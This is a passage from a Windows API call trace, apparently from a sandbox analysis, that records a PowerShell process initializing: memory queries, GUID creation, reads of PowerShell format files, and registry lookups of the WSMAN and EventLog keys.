[5]=0x1f, [6]=0x87, [7]=0x61))) returned 0x0 [0054.975] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.977] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.979] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x4295c629, Data2=0xe405, Data3=0x4eda, Data4=([0]=0x81, [1]=0x51, [2]=0xb2, [3]=0x2c, [4]=0x43, [5]=0x59, [6]=0xda, [7]=0x1c))) returned 0x0 [0054.979] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.979] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x2f459f23, Data2=0x81f0, Data3=0x4866, Data4=([0]=0x98, [1]=0xb4, [2]=0x87, [3]=0xbd, [4]=0x38, [5]=0x1e, [6]=0xa6, [7]=0x37))) returned 0x0 [0054.979] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xa1265d1b, Data2=0x9503, Data3=0x47d0, Data4=([0]=0xb5, [1]=0xb8, [2]=0x14, [3]=0x7d, [4]=0x38, [5]=0x4a, [6]=0x5f, [7]=0x4e))) returned 0x0 [0054.980] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xc401d0e0, Data2=0x8a17, Data3=0x4829, Data4=([0]=0xa7, [1]=0x2b, [2]=0x46, [3]=0xea, [4]=0x3a, [5]=0x7f, [6]=0xf4, [7]=0xfa))) returned 0x0 [0054.980] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x462fff6f, Data2=0xde7e, Data3=0x4d08, Data4=([0]=0xb7, [1]=0xfc, [2]=0xa1, [3]=0xf3, [4]=0xd9, [5]=0x2b, [6]=0xb3, [7]=0x2f))) returned 0x0 [0054.980] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x4ef00519, Data2=0x7092, Data3=0x4407, Data4=([0]=0xa0, [1]=0x97, [2]=0xb, [3]=0x19, [4]=0x6d, [5]=0xa7, [6]=0xee, [7]=0xc4))) returned 0x0 [0054.980] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x6c5f5a37, Data2=0x1173, Data3=0x4700, Data4=([0]=0xad, [1]=0x63, [2]=0x45, [3]=0x7c, [4]=0x8c, [5]=0x50, [6]=0x55, [7]=0x73))) returned 0x0 [0054.980] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xc476d836, Data2=0xf1c5, Data3=0x4d75, Data4=([0]=0xa2, [1]=0x3b, [2]=0xe6, [3]=0xe7, [4]=0xef, [5]=0x53, [6]=0xcc, [7]=0x6f))) returned 0x0 [0054.981] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.981] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xd5d915d1, Data2=0xa6a5, Data3=0x478c, Data4=([0]=0xb9, [1]=0x0, [2]=0x18, [3]=0x4b, [4]=0x63, [5]=0xe1, [6]=0x6e, [7]=0xac))) returned 0x0 [0054.982] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x94f38bb8, Data2=0x5223, Data3=0x4dcc, Data4=([0]=0x9f, [1]=0x5c, [2]=0xb7, [3]=0x13, [4]=0xb8, [5]=0x65, [6]=0xab, [7]=0xc0))) returned 0x0 [0054.982] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x27bc94fb, Data2=0x9395, Data3=0x49b5, Data4=([0]=0xa7, [1]=0x63, [2]=0x87, [3]=0x46, [4]=0x61, [5]=0x54, [6]=0xb8, [7]=0x79))) returned 0x0 [0054.982] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x2e87b150, Data2=0x9596, Data3=0x4985, Data4=([0]=0xb8, [1]=0xb3, [2]=0x3b, [3]=0xf1, [4]=0x78, [5]=0x5e, [6]=0xf, [7]=0xcf))) returned 0x0 [0054.982] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xcbf9be4a, Data2=0x8282, Data3=0x426f, Data4=([0]=0xbe, [1]=0x76, [2]=0x5d, [3]=0x79, [4]=0x1d, [5]=0x8a, [6]=0xc4, [7]=0x90))) returned 0x0 [0054.982] VirtualQuery (in: lpAddress=0x22bf20, lpBuffer=0x22cde0, dwLength=0x30 | out: lpBuffer=0x22cde0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.983] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x7f18100a, Data2=0x3a70, Data3=0x4308, Data4=([0]=0x8d, [1]=0x5a, [2]=0x91, [3]=0xb8, [4]=0xc, [5]=0x93, [6]=0xca, [7]=0xd))) returned 0x0 [0054.983] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x3c4b2e65, Data2=0xec4c, Data3=0x41ca, Data4=([0]=0x8d, [1]=0x5f, [2]=0x52, [3]=0x6f, [4]=0xfb, [5]=0xbb, [6]=0xe9, [7]=0x34))) returned 0x0 [0054.983] VirtualQuery (in: lpAddress=0x22bf90, lpBuffer=0x22ce50, dwLength=0x30 | out: lpBuffer=0x22ce50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.983] VirtualQuery (in: lpAddress=0x22bf90, lpBuffer=0x22ce50, dwLength=0x30 | out: lpBuffer=0x22ce50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.983] VirtualQuery (in: lpAddress=0x22bf90, lpBuffer=0x22ce50, dwLength=0x30 | out: lpBuffer=0x22ce50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.984] VirtualQuery (in: lpAddress=0x22bf90, lpBuffer=0x22ce50, dwLength=0x30 | out: lpBuffer=0x22ce50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.984] SetErrorMode (uMode=0x1) returned 0x1 [0054.984] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x30c [0054.984] SetErrorMode (uMode=0x1) returned 0x1 [0054.984] GetFileType (hFile=0x30c) returned 0x1 [0054.985] ReadFile (in: hFile=0x30c, lpBuffer=0x3ad7f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3ad7f88*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.985] ReadFile (in: hFile=0x30c, lpBuffer=0x3ad7f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3ad7f88*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.985] ReadFile (in: hFile=0x30c, lpBuffer=0x3ad7f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3ad7f88*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.985] ReadFile (in: hFile=0x30c, lpBuffer=0x3ad7f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3ad7f88*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.986] ReadFile (in: hFile=0x30c, lpBuffer=0x3ad7f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3ad7f88*, lpNumberOfBytesRead=0x22d2b8*=0x8b4, lpOverlapped=0x0) returned 1 [0054.986] ReadFile (in: hFile=0x30c, lpBuffer=0x3ad73a4, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3ad73a4*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.986] ReadFile (in: hFile=0x30c, lpBuffer=0x3ad7f88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3ad7f88*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.986] SetErrorMode (uMode=0x1) returned 0x1 [0054.987] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d260 | out: lpFileInformation=0x22d260*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0054.987] SetErrorMode (uMode=0x1) returned 0x1 [0054.987] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d348 | out: phkResult=0x22d348*=0x30c) returned 0x0 [0054.987] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d2cc, lpData=0x0, lpcbData=0x22d2c8*=0x0 | out: lpType=0x22d2cc*=0x1, lpData=0x0, lpcbData=0x22d2c8*=0x56) returned 0x0 [0054.987] CoTaskMemAlloc (cb=0x5a) returned 0x1b785e10 [0054.987] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d29c, lpData=0x1b785e10, lpcbData=0x22d298*=0x56 | out: lpType=0x22d29c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22d298*=0x56) returned 0x0 [0054.987] CoTaskMemFree (pv=0x1b785e10) [0054.987] RegCloseKey (hKey=0x30c) returned 0x0 [0054.988] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x6b3eddfa, Data2=0x3640, Data3=0x4a2b, Data4=([0]=0xb1, [1]=0x3f, [2]=0xf0, [3]=0x5a, [4]=0xe8, [5]=0xf9, [6]=0xa0, [7]=0xcc))) returned 0x0 [0054.988] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0xcfdb3681, Data2=0x309d, Data3=0x4e03, Data4=([0]=0x91, [1]=0x99, [2]=0x8f, [3]=0x3d, [4]=0x92, [5]=0x6a, [6]=0xbd, [7]=0x15))) returned 0x0 [0054.989] SetErrorMode (uMode=0x1) returned 0x1 [0054.989] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x30c [0054.989] SetErrorMode (uMode=0x1) returned 0x1 [0054.989] GetFileType (hFile=0x30c) returned 0x1 [0054.989] ReadFile (in: hFile=0x30c, lpBuffer=0x3b15d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3b15d70*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.995] ReadFile (in: hFile=0x30c, lpBuffer=0x3b15d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3b15d70*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.996] ReadFile (in: hFile=0x30c, lpBuffer=0x3b15d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3b15d70*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.996] ReadFile (in: hFile=0x30c, lpBuffer=0x3b15d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3b15d70*, lpNumberOfBytesRead=0x22d2b8*=0x1000, lpOverlapped=0x0) returned 1 [0054.996] ReadFile (in: hFile=0x30c, lpBuffer=0x3b15d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3b15d70*, lpNumberOfBytesRead=0x22d2b8*=0xe98, lpOverlapped=0x0) returned 1 [0054.996] ReadFile (in: hFile=0x30c, lpBuffer=0x3b15370, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3b15370*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.996] ReadFile (in: hFile=0x30c, lpBuffer=0x3b15d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d2b8, lpOverlapped=0x0 | out: lpBuffer=0x3b15d70*, lpNumberOfBytesRead=0x22d2b8*=0x0, lpOverlapped=0x0) returned 1 [0054.996] SetErrorMode (uMode=0x1) returned 0x1 [0054.996] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d260 | out: lpFileInformation=0x22d260*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe603f2b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0054.997] SetErrorMode (uMode=0x1) returned 0x1 [0054.997] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d348 | out: phkResult=0x22d348*=0x30c) returned 0x0 [0054.997] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d2cc, lpData=0x0, lpcbData=0x22d2c8*=0x0 | out: lpType=0x22d2cc*=0x1, lpData=0x0, lpcbData=0x22d2c8*=0x56) returned 0x0 [0054.997] CoTaskMemAlloc (cb=0x5a) returned 0x1b785e10 [0054.997] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d29c, lpData=0x1b785e10, lpcbData=0x22d298*=0x56 | out: lpType=0x22d29c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22d298*=0x56) returned 0x0 [0054.997] CoTaskMemFree (pv=0x1b785e10) [0054.997] RegCloseKey (hKey=0x30c) returned 0x0 [0054.998] VirtualQuery (in: lpAddress=0x22bde0, lpBuffer=0x22cca0, dwLength=0x30 | out: lpBuffer=0x22cca0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.998] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x359f603d, Data2=0xc9f2, Data3=0x44b6, Data4=([0]=0x82, [1]=0xb, [2]=0xc2, [3]=0x3b, [4]=0x4e, [5]=0x98, [6]=0x5e, [7]=0x78))) returned 0x0 [0054.998] CoCreateGuid (in: pguid=0x22d570 | out: pguid=0x22d570*(Data1=0x27ed01a2, Data2=0x44ba, Data3=0x40da, Data4=([0]=0x81, [1]=0xd0, [2]=0x5a, [3]=0x85, [4]=0xa1, [5]=0xec, [6]=0xf0, [7]=0x2c))) returned 0x0 [0055.150] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0055.150] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.151] CoTaskMemFree (pv=0x168a30) [0055.151] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0055.151] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.151] CoTaskMemFree (pv=0x168a30) [0055.151] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0055.151] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.151] CoTaskMemFree (pv=0x168a30) [0055.152] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0055.152] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.152] CoTaskMemFree (pv=0x168a30) [0055.154] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0055.154] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.154] CoTaskMemFree (pv=0x168a30) [0055.155] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0055.155] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.155] CoTaskMemFree (pv=0x168a30) [0055.155] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0055.155] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.155] CoTaskMemFree (pv=0x168a30) [0055.158] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d558 | out: phkResult=0x22d558*=0x30c) returned 0x0 [0055.159] RegQueryInfoKeyW (in: hKey=0x30c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x22d45c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x22d458, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x22d45c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x22d458*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.160] CoTaskMemFree (pv=0x0) [0055.160] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.160] RegEnumValueW (in: hKey=0x30c, dwIndex=0x0, lpValueName=0x124030, lpcchValueName=0x22d508, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x22d508, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0055.160] CoTaskMemFree (pv=0x124030) [0055.160] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.160] RegEnumValueW (in: hKey=0x30c, dwIndex=0x1, lpValueName=0x124030, lpcchValueName=0x22d508, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x22d508, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0055.161] CoTaskMemFree (pv=0x124030) [0055.161] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.161] RegEnumValueW (in: hKey=0x30c, dwIndex=0x2, lpValueName=0x124030, lpcchValueName=0x22d508, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x22d508, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0055.161] CoTaskMemFree (pv=0x124030) [0055.161] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x22d4ec, lpData=0x0, lpcbData=0x22d4e8*=0x0 | out: lpType=0x22d4ec*=0x1, lpData=0x0, lpcbData=0x22d4e8*=0x8) returned 0x0 [0055.161] CoTaskMemAlloc (cb=0xc) returned 0x1b77efd0 [0055.161] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x22d4bc, lpData=0x1b77efd0, lpcbData=0x22d4b8*=0x8 | out: lpType=0x22d4bc*=0x1, lpData="2.0", lpcbData=0x22d4b8*=0x8) returned 0x0 [0055.161] CoTaskMemFree (pv=0x1b77efd0) [0055.262] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4a8 | out: phkResult=0x22d4a8*=0x310) returned 0x0 [0055.262] RegQueryInfoKeyW (in: hKey=0x310, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x22d3ac, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x22d3a8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x22d3ac*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x22d3a8*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.262] CoTaskMemFree (pv=0x0) [0055.262] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.262] RegEnumValueW (in: hKey=0x310, dwIndex=0x0, lpValueName=0x124030, lpcchValueName=0x22d458, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x22d458, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0055.262] CoTaskMemFree (pv=0x124030) [0055.262] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.262] RegEnumValueW (in: hKey=0x310, dwIndex=0x1, lpValueName=0x124030, lpcchValueName=0x22d458, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x22d458, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0055.262] CoTaskMemFree (pv=0x124030) [0055.262] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.262] RegEnumValueW (in: hKey=0x310, dwIndex=0x2, lpValueName=0x124030, lpcchValueName=0x22d458, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x22d458, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0055.262] CoTaskMemFree (pv=0x124030) [0055.262] RegQueryValueExW (in: hKey=0x310, lpValueName="StackVersion", lpReserved=0x0, lpType=0x22d43c, lpData=0x0, lpcbData=0x22d438*=0x0 | out: lpType=0x22d43c*=0x1, lpData=0x0, lpcbData=0x22d438*=0x8) returned 0x0 [0055.263] CoTaskMemAlloc (cb=0xc) returned 0x1b77ee30 [0055.263] RegQueryValueExW (in: hKey=0x310, lpValueName="StackVersion", lpReserved=0x0, lpType=0x22d40c, lpData=0x1b77ee30, lpcbData=0x22d408*=0x8 | out: lpType=0x22d40c*=0x1, lpData="2.0", lpcbData=0x22d408*=0x8) returned 0x0 [0055.263] CoTaskMemFree (pv=0x1b77ee30) [0055.265] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0055.265] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.265] CoTaskMemFree (pv=0x168a30) [0055.272] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0055.272] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.272] CoTaskMemFree (pv=0x168a30) [0055.280] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d4d8 | out: phkResult=0x22d4d8*=0x314) returned 0x0 [0055.284] RegQueryInfoKeyW (in: hKey=0x314, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x22d44c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x22d448, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x22d44c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x22d448*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.284] CoTaskMemFree (pv=0x0) [0055.285] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.285] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x0, lpName=0x124030, lpcchName=0x22d4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x22d4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.285] CoTaskMemFree (pv=0x124030) [0055.285] CoTaskMemFree (pv=0x0) [0055.285] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.285] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x1, lpName=0x124030, lpcchName=0x22d4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x22d4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.285] CoTaskMemFree (pv=0x124030) [0055.285] CoTaskMemFree (pv=0x0) [0055.285] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.286] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x2, lpName=0x124030, lpcchName=0x22d4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x22d4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.286] CoTaskMemFree (pv=0x124030) [0055.286] CoTaskMemFree (pv=0x0) [0055.286] CoTaskMemAlloc (cb=0x204) returned 0x124030 [0055.286] RegEnumKeyExW (in: hKey=0x314, dwIndex=0x3, lpName=0x124030, lpcchName=0x22d4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: 